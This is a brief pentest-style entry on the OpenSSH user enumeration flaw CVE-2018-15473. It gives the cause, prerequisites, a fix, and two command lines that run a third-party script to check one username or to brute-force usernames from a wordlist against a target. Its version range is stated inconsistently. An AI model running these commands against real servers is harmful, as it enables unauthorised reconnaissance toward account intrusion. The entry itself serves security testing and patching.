SSH User Enumeration [CVE-2018-15473]

Table of contents

  1. Vulnerability
  2. Prerequisites
  3. Exploit
  4. Recommendations

Vulnerability

OpenSSH through 7.7 is prone to a user enumeration vulnerability due to not delaying bailout for an invalid authenticating user until after the packet containing the request has been fully parsed, related to auth2-gss.c, auth2-hostbased.c, and auth2-pubkey.c.

Prerequisites

  • OpenSSH version prior to 7.7 is running on target.

Exploit

To exploit this vulnerability, you can use epi052’s script.

# For a single user.
./ssh-username-enum.py -u $username $target

# For brute-forcing.
./ssh-username-enum.py -p $port -t 10 -w $wordlist $target

Recommendations

  • Update OpenSSH to the latest version.